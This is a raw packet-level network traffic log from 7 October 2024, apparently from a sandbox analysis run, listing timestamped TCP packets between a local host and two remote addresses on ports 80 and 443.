Oct 7, 2024 21:18:44.986112118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986134052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986145973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986191988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.986226082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.986362934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986375093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986386061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986397982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986408949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986411095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.986437082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.986450911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.986474037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986509085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.986591101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986602068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986613989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986624956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986630917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.986638069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.986646891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.986673117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.987339020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987397909 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.987401009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987412930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987457037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.987457037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.987530947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987541914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987551928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987562895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987585068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.987618923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.987662077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987704039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.987719059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987730980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987741947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987766981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.987786055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.987953901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987965107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987976074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.987987041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988007069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988034010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988212109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988224030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988234043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988245010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988256931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988260031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988267899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988271952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988281012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988291979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988301039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988303900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988317966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988328934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988339901 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988367081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988668919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988681078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988691092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988702059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988713026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988720894 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988724947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988735914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988739967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988751888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988761902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.988765001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988784075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.988804102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989089966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989100933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989110947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989129066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989137888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989141941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989152908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989154100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989166021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989176989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989181995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989190102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989200115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989201069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989212036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989214897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989227057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989237070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989252090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989289045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989592075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989603043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989613056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989624023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989635944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989648104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.989692926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989692926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989710093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.989710093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:45.025644064 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.026413918 CEST	49889	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.026436090 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.026702881 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.026887894 CEST	49889	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.026896000 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.027113914 CEST	49887	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.027138948 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.027479887 CEST	49887	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.027486086 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.038835049 CEST	443	49888	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.039583921 CEST	49888	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.039618969 CEST	443	49888	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.040025949 CEST	49888	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.040033102 CEST	443	49888	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.041945934 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.042455912 CEST	49890	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.042476892 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.042998075 CEST	49890	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.043010950 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.046897888 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.047269106 CEST	49891	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.047278881 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.047692060 CEST	49891	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.047697067 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.131244898 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.131477118 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.131521940 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.131557941 CEST	49889	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.131597996 CEST	49889	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.131737947 CEST	49889	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.131769896 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.131787062 CEST	49889	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.131797075 CEST	443	49889	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.136007071 CEST	49892	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.136033058 CEST	443	49892	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.136137962 CEST	49892	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.136356115 CEST	49892	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.136372089 CEST	443	49892	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.148103952 CEST	443	49888	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.148400068 CEST	443	49888	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.148458958 CEST	49888	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.148526907 CEST	49888	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.148545027 CEST	443	49888	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.149595022 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.149611950 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.149652004 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.149672985 CEST	49890	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.149703026 CEST	49890	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.150192022 CEST	49890	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.150222063 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.150249004 CEST	49890	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.150259018 CEST	443	49890	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.153007030 CEST	49893	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.153048992 CEST	443	49893	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.153131962 CEST	49893	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.155191898 CEST	49893	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.155206919 CEST	443	49893	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.155771017 CEST	49894	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.155780077 CEST	443	49894	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.155824900 CEST	49894	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.156132936 CEST	49894	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.156145096 CEST	443	49894	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.156306028 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.156331062 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.156369925 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.156380892 CEST	49891	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.156414986 CEST	49891	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.156694889 CEST	49891	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.156703949 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.156716108 CEST	49891	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.156722069 CEST	443	49891	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.159246922 CEST	49895	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.159255028 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.159311056 CEST	49895	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.159507036 CEST	49895	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.159521103 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.163585901 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.163935900 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.163988113 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.163996935 CEST	49887	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.164043903 CEST	49887	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.164144039 CEST	49887	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.164149046 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.164160967 CEST	49887	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.164165974 CEST	443	49887	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.169899940 CEST	49896	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.169944048 CEST	443	49896	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.170011044 CEST	49896	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.170465946 CEST	49896	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.170480013 CEST	443	49896	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.453733921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:45.453803062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:45.458632946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:45.458897114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:45.779246092 CEST	443	49892	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.780169010 CEST	49892	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.780189991 CEST	443	49892	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.780322075 CEST	49892	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.780328035 CEST	443	49892	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.786181927 CEST	443	49893	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.787564993 CEST	49893	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.787564993 CEST	49893	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.787611008 CEST	443	49893	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.787631989 CEST	443	49893	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.788091898 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.788688898 CEST	49895	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.788688898 CEST	49895	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.788703918 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.788712025 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.796530008 CEST	443	49894	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.797223091 CEST	49894	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.797223091 CEST	49894	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.797261953 CEST	443	49894	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.797276974 CEST	443	49894	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.825241089 CEST	443	49896	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.826024055 CEST	49896	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.826024055 CEST	49896	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.826039076 CEST	443	49896	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.826055050 CEST	443	49896	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.886951923 CEST	443	49892	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.887228012 CEST	443	49892	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.887501955 CEST	49892	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.887501955 CEST	49892	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.888103008 CEST	49892	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.888112068 CEST	443	49892	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.890592098 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.890621901 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.890924931 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.891063929 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.891076088 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.892724991 CEST	443	49893	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.893033981 CEST	443	49893	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.893275023 CEST	49893	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.893275023 CEST	49893	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.893728018 CEST	49893	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.893740892 CEST	443	49893	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.896610975 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.896682024 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.896797895 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.896970987 CEST	49895	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.897897959 CEST	49895	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.897897959 CEST	49895	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.897903919 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.897911072 CEST	443	49895	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.900019884 CEST	49898	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.900028944 CEST	443	49898	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.900115013 CEST	49898	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.900248051 CEST	49898	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.900262117 CEST	443	49898	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.900676966 CEST	49899	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.900754929 CEST	443	49899	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.900830030 CEST	49899	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.901048899 CEST	49899	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.901088953 CEST	443	49899	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.904683113 CEST	443	49894	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.905266047 CEST	443	49894	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.905567884 CEST	49894	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.905632973 CEST	49894	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.905638933 CEST	443	49894	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.905668020 CEST	49894	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.905673027 CEST	443	49894	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.909471035 CEST	49900	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.909498930 CEST	443	49900	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.909749031 CEST	49900	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.910514116 CEST	49900	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.910526991 CEST	443	49900	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.930366039 CEST	443	49896	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.930701971 CEST	443	49896	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.930814028 CEST	49896	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.931008101 CEST	49896	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.931008101 CEST	49896	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.931024075 CEST	443	49896	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.931032896 CEST	443	49896	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.933162928 CEST	49901	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.933212042 CEST	443	49901	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:45.933283091 CEST	49901	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.933887005 CEST	49901	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:45.933912039 CEST	443	49901	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.417248964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:46.417305946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:46.517838955 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.522763014 CEST	443	49899	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.535147905 CEST	443	49900	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.539719105 CEST	443	49898	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.565360069 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.565483093 CEST	49899	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.575282097 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.575301886 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.575915098 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.575922012 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.580977917 CEST	49898	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.581454992 CEST	49900	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.589591026 CEST	49899	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.589621067 CEST	443	49899	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.589984894 CEST	49899	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.589998007 CEST	443	49899	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.591409922 CEST	49900	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.591409922 CEST	49900	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.591429949 CEST	443	49900	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.591444016 CEST	443	49900	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.592024088 CEST	49898	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.592031956 CEST	443	49898	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.592470884 CEST	49898	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.592475891 CEST	443	49898	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.597629070 CEST	443	49901	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.598269939 CEST	49901	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.598311901 CEST	443	49901	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.598742962 CEST	49901	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.598756075 CEST	443	49901	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.674108028 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.674288988 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.674336910 CEST	443	49897	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.674376965 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.674443960 CEST	49897	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.689196110 CEST	443	49899	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.689405918 CEST	443	49899	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.689441919 CEST	443	49899	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.689495087 CEST	49899	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.689562082 CEST	49899	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.690725088 CEST	443	49900	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.690872908 CEST	443	49900	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.690932989 CEST	49900	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:46.704777956 CEST	443	49898	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:46.704993963 CEST	443	49898	13.107.253.45	192.168.2.5
